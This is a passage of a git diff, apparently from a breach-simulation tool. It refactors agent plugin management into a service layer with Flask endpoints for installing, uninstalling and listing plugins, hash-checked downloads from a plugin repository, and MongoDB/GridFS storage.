PluginName, + ) -> AgentPlugin: + return self._agent_plugin_repository.get_plugin( + host_operating_system, plugin_type, plugin_name + ) + + def get_all_plugin_configuration_schemas( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, Dict[str, Any]]]: + return self._agent_plugin_repository.get_all_plugin_configuration_schemas() + + def get_all_plugin_manifests( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]]: + return self._agent_plugin_repository.get_all_plugin_manifests() + + def install_plugin_archive(self, agent_plugin_archive: bytes): + with self._lock: + try: + os_agent_plugins = parse_plugin(io.BytesIO(agent_plugin_archive)) + except ValueError as err: + raise PluginInstallationError("Failed to install the plugin") from err + + plugin = next(iter(os_agent_plugins.values())) + self._agent_plugin_repository.remove_agent_plugin( + agent_plugin_type=plugin.plugin_manifest.plugin_type, + agent_plugin_name=plugin.plugin_manifest.name, + ) + + for operating_system, agent_plugin in os_agent_plugins.items(): + self._agent_plugin_repository.store_agent_plugin( + operating_system=operating_system, agent_plugin=agent_plugin + ) + + def install_plugin_from_repository( + self, plugin_type: AgentPluginType, plugin_name: PluginName, plugin_version: PluginVersion + ): + plugin_metadata = self._find_plugin_in_repository(plugin_type, plugin_name, plugin_version) + + plugin_download_url = self._get_file_download_url(plugin_metadata=plugin_metadata) + response = requests.get(plugin_download_url) + plugin_archive = response.content + if not self._validate_plugin_hash(plugin_metadata, plugin_archive): + raise PluginInstallationError( + f'Error occured installing plugin with type "{plugin_type}", name "{plugin_name}",' + f' and version "{plugin_version}" from plugin repository: Invalid hashes.' + ) + + self.install_plugin_archive(plugin_archive) + + def _find_plugin_in_repository( + self, plugin_type: AgentPluginType, plugin_name: PluginName, plugin_version: PluginVersion + ) -> AgentPluginMetadata: + plugin_repository_index = self.get_available_plugins() + available_versions_of_plugin: List[ + AgentPluginMetadata + ] = plugin_repository_index.plugins.get(plugin_type.value, {}).get(plugin_name, []) + for plugin_metadata in available_versions_of_plugin: + if plugin_metadata.version == plugin_version: + return plugin_metadata + + raise PluginInstallationError( + f'Could not find plugin with type "{plugin_type}", name "{plugin_name}", and ' + f'version "{plugin_version}" in plugin repository' + ) + + def _get_file_download_url(self, plugin_metadata: AgentPluginMetadata) -> str: + plugin_file_path = plugin_metadata.resource_path + return f"{self._plugin_repository_url}/{plugin_file_path}" + + def _validate_plugin_hash( + self, plugin_metadata: AgentPluginMetadata, plugin_archive: bytes + ) -> bool: + plugin_hash = plugin_metadata.sha256 + plugin_archive_hash = get_binary_io_sha256_hash(io.BytesIO(plugin_archive)) + + return plugin_hash == plugin_archive_hash + + def get_available_plugins(self, force_refresh: bool = False) -> AgentPluginRepositoryIndex: + if force_refresh: + self._download_index.clear_cache() # type: ignore [attr-defined] + + return self._download_index() + + # This method is decorated in __init__() to cache responses + def _download_index(self) -> AgentPluginRepositoryIndex: + try: + response = requests.get(f"{self._plugin_repository_url}/{INDEX_FILE_NAME}") + repository_index_yml = yaml.safe_load(response.text) + + return AgentPluginRepositoryIndex(**repository_index_yml) + except Exception as err: + raise RetrievalError("Failed to get agent plugin repository index") from err + + def uninstall_plugin(self, plugin_type: AgentPluginType, plugin_name: PluginName): + try: + self._agent_plugin_repository.remove_agent_plugin( + agent_plugin_type=plugin_type, agent_plugin_name=plugin_name + ) + except Exception as err: + raise PluginUninstallationError( + f"Failed to uninstall the plugin {plugin_name} of type {plugin_type}: {err}" + ) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/build.py b/monkey/monkey_island/cc/services/agent_plugin_service/build.py new file mode 100644 index 00000000000..b4cefe35bcc --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/build.py @@ -0,0 +1,23 @@ +from common import DIContainer +from monkey_island.cc import Version + +from .agent_plugin_repository_logging_decorator import AgentPluginRepositoryLoggingDecorator +from .agent_plugin_service import AgentPluginService +from .i_agent_plugin_repository import IAgentPluginRepository +from .i_agent_plugin_service import IAgentPluginService +from .mongo_agent_plugin_repository import MongoAgentPluginRepository + + +def build(container: DIContainer) -> IAgentPluginService: + undecorated_agent_plugin_repository = container.resolve(MongoAgentPluginRepository) + agent_plugin_repository = _decorate_agent_plugin_repository(undecorated_agent_plugin_repository) + agent_plugin_service = AgentPluginService(agent_plugin_repository, container.resolve(Version)) + container.register_instance(IAgentPluginService, agent_plugin_service) + + return agent_plugin_service + + +def _decorate_agent_plugin_repository( + plugin_repository: IAgentPluginRepository, +) -> IAgentPluginRepository: + return AgentPluginRepositoryLoggingDecorator(plugin_repository) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/errors.py b/monkey/monkey_island/cc/services/agent_plugin_service/errors.py new file mode 100644 index 00000000000..803e64b443e --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/errors.py @@ -0,0 +1,10 @@ +class PluginInstallationError(ValueError): + """ + Raised when a service encounters an error while attempting to install a plugin + """ + + +class PluginUninstallationError(Exception): + """ + Raised when a service encounters an error while attempting to uninstall a plugin + """ diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/__init__.py new file mode 100644 index 00000000000..b7e0d485553 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/__init__.py @@ -0,0 +1,6 @@ +from .agent_plugins import AgentPlugins +from .agent_plugins_manifest import AgentPluginsManifest +from .available_agent_plugins_index import AvailableAgentPluginsIndex +from .installed_agent_plugins_manifests import InstalledAgentPluginsManifests +from .uninstall_agent_plugin import UninstallAgentPlugin +from .register import register_resources diff --git a/monkey/monkey_island/cc/resources/agent_plugins.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins.py similarity index 82% rename from monkey/monkey_island/cc/resources/agent_plugins.py rename to monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins.py index b232597ff90..5c7f9492413 100644 --- a/monkey/monkey_island/cc/resources/agent_plugins.py +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins.py @@ -5,19 +5,21 @@ from flask_security import auth_token_required, roles_accepted from common import OperatingSystem -from common.agent_plugins import AgentPluginType +from common.agent_plugins import AgentPluginType, PluginName from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.repositories import IAgentPluginRepository, UnknownRecordError +from monkey_island.cc.repositories import UnknownRecordError from monkey_island.cc.services.authentication_service import AccountRole +from .. import IAgentPluginService + logger = logging.getLogger(__name__) class AgentPlugins(AbstractResource): urls = ["/api/agent-plugins///"] - def __init__(self, agent_plugin_repository: IAgentPluginRepository): - self._agent_plugin_repository = agent_plugin_repository + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service @auth_token_required @roles_accepted(AccountRole.AGENT.name) @@ -44,10 +46,10 @@ def get(self, host_os: str, plugin_type: str, name: str): return make_response({"message": message}, HTTPStatus.NOT_FOUND) try: - agent_plugin = self._agent_plugin_repository.get_plugin( + agent_plugin = self._agent_plugin_service.get_plugin( host_operating_system=host_operating_system, plugin_type=agent_plugin_type, - name=name, + plugin_name=PluginName(name), ) return make_response(agent_plugin.dict(simplify=True), HTTPStatus.OK) except UnknownRecordError: diff --git a/monkey/monkey_island/cc/resources/agent_plugins_manifest.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins_manifest.py similarity index 73% rename from monkey/monkey_island/cc/resources/agent_plugins_manifest.py rename to monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins_manifest.py index fd1e2bf5284..2e23d5e91ae 100644 --- a/monkey/monkey_island/cc/resources/agent_plugins_manifest.py +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/agent_plugins_manifest.py @@ -4,23 +4,23 @@ from flask import make_response from flask_security import auth_token_required, roles_accepted -from common import HARD_CODED_EXPLOITER_MANIFESTS -from common.agent_plugins import AgentPluginManifest, AgentPluginType +from common.agent_plugins import AgentPluginManifest, AgentPluginType, PluginName from common.hard_coded_manifests.hard_coded_fingerprinter_manifests import ( HARD_CODED_FINGERPRINTER_MANIFESTS, ) from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.repositories import IAgentPluginRepository from monkey_island.cc.services.authentication_service import AccountRole +from .. import IAgentPluginService + logger = logging.getLogger(__name__) class AgentPluginsManifest(AbstractResource): urls = ["/api/agent-plugins///manifest"] - def __init__(self, agent_plugin_repository: IAgentPluginRepository): - self._agent_plugin_repository = agent_plugin_repository + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service @auth_token_required @roles_accepted(AccountRole.AGENT.name) @@ -39,7 +39,7 @@ def get(self, plugin_type: str, name: str): return make_response({"message": message}, HTTPStatus.NOT_FOUND) try: - plugin_manifest = self._get_plugin_manifest(plugin_type_, name) + plugin_manifest = self._get_plugin_manifest(plugin_type_, PluginName(name)) except KeyError: message = f"Plugin '{name}' of type '{plugin_type_}' not found." logger.warning(message) @@ -47,14 +47,14 @@ def get(self, plugin_type: str, name: str): return make_response(plugin_manifest.dict(simplify=True), HTTPStatus.OK) - def _get_plugin_manifest(self, plugin_type: AgentPluginType, name: str) -> AgentPluginManifest: - plugin_manifests = self._agent_plugin_repository.get_all_plugin_manifests() + def _get_plugin_manifest( + self, plugin_type: AgentPluginType, name: PluginName + ) -> AgentPluginManifest: + plugin_manifests = self._agent_plugin_service.get_all_plugin_manifests() try: return plugin_manifests[plugin_type][name] except KeyError as err: - if plugin_type == AgentPluginType.EXPLOITER: - return HARD_CODED_EXPLOITER_MANIFESTS[name] - elif plugin_type == AgentPluginType.FINGERPRINTER: + if plugin_type == AgentPluginType.FINGERPRINTER: return HARD_CODED_FINGERPRINTER_MANIFESTS[name] else: raise err diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/available_agent_plugins_index.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/available_agent_plugins_index.py new file mode 100644 index 00000000000..8098acdb95e --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/available_agent_plugins_index.py @@ -0,0 +1,44 @@ +import logging +from http import HTTPStatus + +from flask import make_response, request +from flask_security import auth_token_required, roles_accepted + +from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole + +from .. import IAgentPluginService + +logger = logging.getLogger(__name__) + + +class AvailableAgentPluginsIndex(AbstractResource): + urls = ["/api/agent-plugins/available/index"] + + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service + + @auth_token_required + @roles_accepted(AccountRole.ISLAND_INTERFACE.name) + def get(self): + """ + Get the index of available plugins + """ + + force_refresh_arg = request.args.get("force_refresh", "false") + if force_refresh_arg == "true": + force_refresh = True + elif force_refresh_arg == "false": + force_refresh = False + else: + err = ( + f'Invalid value for force_refresh "{force_refresh_arg}", expected "true" or "false"' + ) + logger.error(err) + return {"error": str(err)}, HTTPStatus.UNPROCESSABLE_ENTITY + + available_plugins = self._agent_plugin_service.get_available_plugins( + force_refresh=force_refresh + ) + + return make_response(available_plugins.dict(simplify=True), HTTPStatus.OK) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/install_agent_plugin.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/install_agent_plugin.py new file mode 100644 index 00000000000..4de68ef8544 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/install_agent_plugin.py @@ -0,0 +1,74 @@ +import json +import logging +from http import HTTPStatus +from typing import Tuple + +from flask import make_response, request +from flask_security import auth_token_required, roles_accepted + +from common.agent_plugins import AgentPluginType, PluginName, PluginVersion +from monkey_island.cc.flask_utils import AbstractResource, responses +from monkey_island.cc.services.authentication_service import AccountRole + +from .. import IAgentPluginService +from ..errors import PluginInstallationError + +logger = logging.getLogger(__name__) + + +class InstallAgentPlugin(AbstractResource): + urls = ["/api/install-agent-plugin"] + + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service + + @auth_token_required + @roles_accepted(AccountRole.ISLAND_INTERFACE.name) + def put(self): + """ + Install the plugin archive. + """ + try: + content_type = request.headers.get("Content-Type", "").lower() + if content_type == "application/json": + try: + ( + plugin_type, + plugin_name, + plugin_version, + ) = self._get_plugin_information_from_request() + except Exception as err: + logger.warning(err) + return responses.make_response_to_invalid_request(str(err)) + + self._agent_plugin_service.install_plugin_from_repository( + plugin_type=plugin_type, plugin_name=plugin_name, plugin_version=plugin_version + ) + else: + self._agent_plugin_service.install_plugin_archive(request.data) + return make_response({}, HTTPStatus.OK) + except PluginInstallationError as err: + return make_response(str(err), HTTPStatus.UNPROCESSABLE_ENTITY) + + def _get_plugin_information_from_request( + self, + ) -> Tuple[AgentPluginType, PluginName, PluginVersion]: + response_json = json.loads(request.data) + plugin_type_arg = response_json["plugin_type"] + plugin_name_arg = response_json["name"] + plugin_version_arg = response_json["version"] + + plugin_name = PluginName(plugin_name_arg) + try: + plugin_type = AgentPluginType(plugin_type_arg) + except ValueError: + message = f"Invalid plugin type argument: {plugin_type_arg}." + raise ValueError(message) + + try: + plugin_version = PluginVersion.from_str(plugin_version_arg) + except ValueError as err: + message = f"Invalid plugin version argument: {plugin_version_arg}: {err}." + raise ValueError(message) + + return plugin_type, plugin_name, plugin_version diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/installed_agent_plugins_manifests.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/installed_agent_plugins_manifests.py new file mode 100644 index 00000000000..272ecbd7030 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/installed_agent_plugins_manifests.py @@ -0,0 +1,48 @@ +import logging +from http import HTTPStatus +from typing import Any, Dict + +from flask import make_response +from flask_security import auth_token_required, roles_accepted + +from common.agent_plugins import AgentPluginManifest, AgentPluginType, PluginName +from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole + +from .. import IAgentPluginService + +logger = logging.getLogger(__name__) + + +class InstalledAgentPluginsManifests(AbstractResource): + urls = ["/api/agent-plugins/installed/manifests"] + + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service + + @auth_token_required + @roles_accepted(AccountRole.ISLAND_INTERFACE.name) + def get(self): + """ + Get manifests of all installed plugins + """ + + installed_agent_plugins_manifests = self._agent_plugin_service.get_all_plugin_manifests() + installed_agent_plugins_manifests_simplified = ( + self._simplify_installed_agent_plugins_manifests(installed_agent_plugins_manifests) + ) + + return make_response(installed_agent_plugins_manifests_simplified, HTTPStatus.OK) + + def _simplify_installed_agent_plugins_manifests( + self, manifests: Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]] + ) -> Dict[str, Dict[str, Dict[str, Any]]]: + simplified: Dict[str, Dict[str, Dict[str, Any]]] = {} + for plugin_type in manifests: + simplified[plugin_type.value] = {} + for plugin_name in manifests[plugin_type]: + simplified[plugin_type.value][plugin_name] = manifests[plugin_type][ + plugin_name + ].dict(simplify=True) + + return simplified diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/register.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/register.py new file mode 100644 index 00000000000..741e8fd4f2f --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/register.py @@ -0,0 +1,17 @@ +from monkey_island.cc.flask_utils import FlaskDIWrapper + +from .agent_plugins import AgentPlugins +from .agent_plugins_manifest import AgentPluginsManifest +from .available_agent_plugins_index import AvailableAgentPluginsIndex +from .install_agent_plugin import InstallAgentPlugin +from .installed_agent_plugins_manifests import InstalledAgentPluginsManifests +from .uninstall_agent_plugin import UninstallAgentPlugin + + +def register_resources(api: FlaskDIWrapper): + api.add_resource(AgentPlugins) + api.add_resource(AgentPluginsManifest) + api.add_resource(InstallAgentPlugin) + api.add_resource(InstalledAgentPluginsManifests) + api.add_resource(AvailableAgentPluginsIndex) + api.add_resource(UninstallAgentPlugin) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/uninstall_agent_plugin.py b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/uninstall_agent_plugin.py new file mode 100644 index 00000000000..0be824abfa1 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/flask_resources/uninstall_agent_plugin.py @@ -0,0 +1,44 @@ +import json +import logging +from http import HTTPStatus + +from flask import make_response, request +from flask_security import auth_token_required, roles_accepted + +from common.agent_plugins import AgentPluginType, PluginName +from monkey_island.cc.flask_utils import AbstractResource, responses +from monkey_island.cc.services.authentication_service import AccountRole + +from .. import IAgentPluginService + +logger = logging.getLogger(__name__) + + +class UninstallAgentPlugin(AbstractResource): + urls = ["/api/uninstall-agent-plugin"] + + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service + + @auth_token_required + @roles_accepted(AccountRole.ISLAND_INTERFACE.name) + def post(self): + """ + Uninstalls agent plugin of the specified plugin type and name. + """ + try: + response_json = json.loads(request.data) + plugin_type_arg = response_json["plugin_type"] + plugin_name_arg = response_json["name"] + except Exception: + return responses.make_response_to_invalid_request() + + try: + plugin_type = AgentPluginType(plugin_type_arg) + except ValueError: + message = f"Invalid type '{plugin_type_arg}'." + logger.warning(message) + return responses.make_response_to_invalid_request(message) + + self._agent_plugin_service.uninstall_plugin(plugin_type, PluginName(plugin_name_arg)) + return make_response({}, HTTPStatus.OK) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_repository.py b/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_repository.py new file mode 100644 index 00000000000..033c43f5dcb --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_repository.py @@ -0,0 +1,92 @@ +from abc import ABC, abstractmethod +from typing import Any, Dict, Optional + +from common import OperatingSystem +from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType, PluginName + + +class IAgentPluginRepository(ABC): + """A repository used to store `Agent` plugins""" + + @abstractmethod + def get_plugin( + self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: PluginName + ) -> AgentPlugin: + """ + Retrieve AgentPlugin based on its name and type + + :param host_operating_system: The operating system the plugin runs on + :param plugin_type: The type of the plugin + :param name: The name of the plugin + :raises RetrievalError: If an error occurs while attempting to retrieve the plugin + :raises UnknownRecordError: If a plugin with specified name and type doesn't exist + """ + pass + + @abstractmethod + def get_all_plugin_configuration_schemas( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, Dict[str, Any]]]: + """ + Retrieve the configuration schemas for all plugins. + + :raises RetrievalError: If an error occurs while trying to retrieve the configuration + schemas + """ + pass + + @abstractmethod + def get_all_plugin_manifests( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]]: + """ + Retrieve a collection of plugin manifests for all plugins. + + :raises RetrievalError: If an error occurs while trying to retrieve the manifests + """ + pass + + # NOTE: There's a theoretical architectural flaw in this interface. The issue stems from the + # fact that there are effectively two types of plugin objects and we're using one class to + # represent both. A plugin packaged for distribution (hereafter called a "distribution + # plugin") contains the Windows and Linux files needed for the plugin to run whichever OS + # is desired. These distribution plugins get parsed into OS-specific plugins (hereafter + # referred to as "runnables"). + # + # This interface is confusing because it provides config schemas and manifests for + # distributions, but plugins are stored as runnables, not distributions. In practice, this + # isn't an issue at the present time. However, as a matter of cleanliness, it would be + # nice to refactor this to provide a better interface. + # + # The proposed solution is to split this into two Repository interfaces: one for storing + # distribution plugins and one for storing runnables. The distribution plugin repository + # can provide get_all_plugin_{config_schemas,manifests} methods, while the runnable plugin + # repository can provide {get,store}_plugin methods. + @abstractmethod + def store_agent_plugin(self, operating_system: OperatingSystem, agent_plugin: AgentPlugin): + """ + Store AgentPlugin in the repository + + If the the repository already contains the plugin for the given operating system, it will + be overwritten. + + :param operating_system: The operating system the plugin runs on + :param agent_plugin: The AgentPlugin object to be stored + :raises StorageError: If the AgentPlugin could not be stored + """ + + @abstractmethod + def remove_agent_plugin( + self, + agent_plugin_type: AgentPluginType, + agent_plugin_name: PluginName, + operating_system: Optional[OperatingSystem] = None, + ): + """ + Remove AgentPlugin from repository + + :param agent_plugin_type: Type of the plugin we want to remove + :param agent_plugin_name: Name of the plugin we want to remove + :param operating_system: The operating system the plugin runs on + :raises RemovalError: If an error occurs while removing the plugin + """ diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_service.py b/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_service.py new file mode 100644 index 00000000000..9becdba6344 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/i_agent_plugin_service.py @@ -0,0 +1,112 @@ +from abc import ABC, abstractmethod +from typing import Any, Dict + +from common import OperatingSystem +from common.agent_plugins import ( + AgentPlugin, + AgentPluginManifest, + AgentPluginRepositoryIndex, + AgentPluginType, + PluginName, + PluginVersion, +) + + +class IAgentPluginService(ABC): + """ + A service for retrieving and manipulating Agent plugins + """ + + @abstractmethod + def get_plugin( + self, + host_operating_system: OperatingSystem, + plugin_type: AgentPluginType, + plugin_name: PluginName, + ) -> AgentPlugin: + """ + Retrieve AgentPlugin based on its name and type + + :param plugin_type: The type of the plugin + :param plugin_name: The name of the plugin + :raises RetrievalError: If an error occurs while attempting to retrieve the plugin + :raises UnknownRecordError: If a plugin with specified name and type doesn't exist + """ + pass + + @abstractmethod + def get_all_plugin_configuration_schemas( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, Dict[str, Any]]]: + """ + Retrieve the configuration schemas for all plugins + + :raises RetrievalError: If an error occurs while trying to retrieve the configuration + schemas + """ + pass + + @abstractmethod + def get_all_plugin_manifests( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]]: + """ + Retrieve a sequence of plugin manifests for all plugins + + :raises RetrievalError: If an error occurs while trying to retrieve the manifests + """ + pass + + @abstractmethod + def install_plugin_archive(self, agent_plugin_archive: bytes): + """ + Install plugin archive + + :param agent_plugin_archive: The archive of the plugin + :raises RemovalError: If an error occurs while attempting to uninstall a previous + version of the plugin + :raises StorageError: If an error occurs while attempting to store the plugin + :raises PluginInstallationError: If an error occurs while attempting to install the plugin + """ + pass + + @abstractmethod + def install_plugin_from_repository( + self, plugin_type: AgentPluginType, plugin_name: PluginName, plugin_version: PluginVersion + ): + """ + Install plugin from repository + + :param plugin_type: The type of the plugin + :param plugin_name: The name of the plugin + :param plugin_version: The version of the plugin + :raises RemovalError: If an error occurs while attempting to uninstall a previous + version of the plugin + :raises StorageError: If an error occurs while attempting to store the plugin + :raises PluginInstallationError: If an error occurs while attempting to install the plugin + """ + + @abstractmethod + def get_available_plugins(self, force_refresh: bool) -> AgentPluginRepositoryIndex: + """ + Retrieve plugin repository index for all available plugins in a repository + + Returns a cached result unless it has expired or force_refresh is `True` + + :param force_refresh: If true, ignores the cached result and requests the index from + the repository again + :raises RetrievalError: If an error occurs while attempting to get the index of all + available plugins from the repository + """ + pass + + @abstractmethod + def uninstall_plugin(self, plugin_type: AgentPluginType, plugin_name: PluginName): + """ + Uninstall agent plugin + + :param plugin_type: The type of the plugin + :param plugin_name: The name of the plugin + :raises PluginUninstallationError: If an error occurs while uninstalling the plugin + """ + pass diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/mongo_agent_plugin_repository.py b/monkey/monkey_island/cc/services/agent_plugin_service/mongo_agent_plugin_repository.py new file mode 100644 index 00000000000..654d8df09c9 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/mongo_agent_plugin_repository.py @@ -0,0 +1,242 @@ +import logging +from collections import defaultdict +from typing import Any, Dict, Optional + +import gridfs +from bson.errors import BSONError +from pymongo import MongoClient +from pymongo.errors import PyMongoError + +from common import OperatingSystem +from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType, PluginName +from monkey_island.cc.repositories import ( + RemovalError, + RetrievalError, + StorageError, + UnknownRecordError, +) +from monkey_island.cc.repositories.consts import MONGO_OBJECT_ID_KEY + +from .i_agent_plugin_repository import IAgentPluginRepository + +BINARY_OS_MAPPING_KEY = "binaries" + +logger = logging.getLogger(__name__) + + +class MongoAgentPluginRepository(IAgentPluginRepository): + def __init__(self, mongo_client: MongoClient) -> None: + self._agent_plugins_collection = mongo_client.monkey_island.agent_plugins + self._agent_plugins_binaries_collections = self._get_binary_collections(mongo_client) + + def _get_binary_collections( + self, mongo_client: MongoClient + ) -> Dict[OperatingSystem, gridfs.GridFS]: + agent_plugins_binaries_collections: Dict[OperatingSystem, gridfs.GridFS] = {} + + for os in OperatingSystem: + agent_plugins_binaries_collections[os] = gridfs.GridFS( + mongo_client.monkey_island, self._get_binary_collection_name(os) + ) + + return agent_plugins_binaries_collections + + def _get_binary_collection_name(self, operating_system: OperatingSystem) -> str: + return f"agent_plugins_binaries_{operating_system.value}" + + def get_plugin( + self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: PluginName + ) -> AgentPlugin: + try: + plugin_dict = self._get_agent_plugin(plugin_type, name) + os_binaries = plugin_dict[BINARY_OS_MAPPING_KEY] + gridfs_file_id = os_binaries[host_operating_system.value] + plugin_source_bytes = ( + self._agent_plugins_binaries_collections[host_operating_system] + .get(gridfs_file_id) + .read() + ) + + plugin_dict.pop(BINARY_OS_MAPPING_KEY) + plugin_dict["source_archive"] = plugin_source_bytes + return AgentPlugin(**plugin_dict) + except UnknownRecordError: + raise + except Exception as err: + raise RetrievalError( + f"Error retrieving the agent plugin {name} of type {plugin_type} for operating " + f"system {host_operating_system}: {err}" + ) + + def _get_agent_plugin( + self, plugin_type: AgentPluginType, plugin_name: PluginName + ) -> Dict[str, Any]: + plugin_dict = self._agent_plugins_collection.find_one( + { + "plugin_manifest.name": plugin_name, + "plugin_manifest.plugin_type": plugin_type.value, + }, + {MONGO_OBJECT_ID_KEY: False}, + ) + + if plugin_dict is None: + raise UnknownRecordError( + f"Error retrieving the agent plugin {plugin_name} of type {plugin_type}" + ) + + return plugin_dict + + def get_all_plugin_configuration_schemas( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, Dict[str, Any]]]: + try: + configuration_schema_dicts = self._agent_plugins_collection.find( + {}, + {"plugin_manifest.plugin_type": 1, "plugin_manifest.name": 1, "config_schema": 1}, + ) + except (PyMongoError, BSONError) as err: + raise RetrievalError("Error retrieving the agent plugin configuration schemas") from err + configuration_schemas: Dict[ + AgentPluginType, Dict[PluginName, Dict[str, Any]] + ] = defaultdict(dict) + + for item in configuration_schema_dicts: + try: + plugin_type = AgentPluginType(item["plugin_manifest"]["plugin_type"]) + except ValueError: + raise RetrievalError( + f"Invalid plugin type stored in the database:" + f" {item['plugin_manifest']['plugin_type']}" + ) + plugin_name = item["plugin_manifest"]["name"] + config_schema_dict = item["config_schema"] + configuration_schemas[plugin_type][plugin_name] = config_schema_dict + + return configuration_schemas + + def get_all_plugin_manifests( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]]: + try: + manifest_dicts = self._agent_plugins_collection.find(projection=["plugin_manifest"]) + except (PyMongoError, BSONError) as err: + raise RetrievalError("Error retrieving the agent plugin manifests") from err + manifests: Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]] = defaultdict(dict) + + for manifest_dict in manifest_dicts: + try: + manifest = AgentPluginManifest(**manifest_dict["plugin_manifest"]) + except Exception as err: + raise RetrievalError( + f"Can't create plugin manifest from the data in the database: {err}" + ) + plugin_type = manifest.plugin_type + plugin_name = manifest.name + manifests[plugin_type][plugin_name] = manifest + + return manifests + + def store_agent_plugin(self, operating_system: OperatingSystem, agent_plugin: AgentPlugin): + plugin_name = agent_plugin.plugin_manifest.name + plugin_type = agent_plugin.plugin_manifest.plugin_type + new_plugin_dict = agent_plugin.dict(simplify=True, exclude={"source_archive"}) + + try: + plugin_dict = self._get_agent_plugin(plugin_type, plugin_name) + # The behavior of this may not be predictable based on the interface definition. See the + # note in IAgentPluginRepository.store_agent_plugin for more details and the proposed + # solution. + plugin_dict.update(new_plugin_dict) + except UnknownRecordError: + plugin_dict = new_plugin_dict + + plugin_binary_ids = plugin_dict.setdefault(BINARY_OS_MAPPING_KEY, {}) + + try: + self._remove_plugin_binary(plugin_dict, operating_system) + except Exception as err: + raise StorageError( + f"Failed to remove old binary for plugin {plugin_name} of type {plugin_type} " + f"for operating system {operating_system}: {err}" + ) + + try: + _id = self._agent_plugins_binaries_collections[operating_system].put( + agent_plugin.source_archive + ) + except Exception as err: + raise StorageError( + f"Failed to store binary for plugin {plugin_name} of type {plugin_type} for " + f"operating system {operating_system}" + ) from err + plugin_binary_ids[operating_system.value] = _id + + try: + self._agent_plugins_collection.update_one( + { + "plugin_manifest.name": plugin_name, + "plugin_manifest.plugin_type": plugin_type.value, + }, + {"$set": plugin_dict}, + upsert=True, + ) + except (PyMongoError, BSONError) as err: + raise StorageError("Failed to store a plugin in the database") from err + + def remove_agent_plugin( + self, + agent_plugin_type: AgentPluginType, + agent_plugin_name: PluginName, + operating_system: Optional[OperatingSystem] = None, + ): + try: + plugin_dict = self._get_agent_plugin(agent_plugin_type, agent_plugin_name) + self._remove_agent_plugin(plugin_dict, operating_system) + except UnknownRecordError: + logger.debug(f"Plugin {agent_plugin_name} of type {agent_plugin_type} not found") + return + except Exception as err: + raise RemovalError( + f"Error removing the agent plugin {agent_plugin_name} of type {agent_plugin_type} " + f"for operating system {operating_system}: {err}" + ) + + def _remove_agent_plugin( + self, plugin_dict: Dict[str, Any], operating_system: Optional[OperatingSystem] + ): + self._remove_plugin_binary(plugin_dict, operating_system) + # Update or delete the plugin record + plugin_name = plugin_dict["plugin_manifest"]["name"] + plugin_type = plugin_dict["plugin_manifest"]["plugin_type"] + os_binaries = 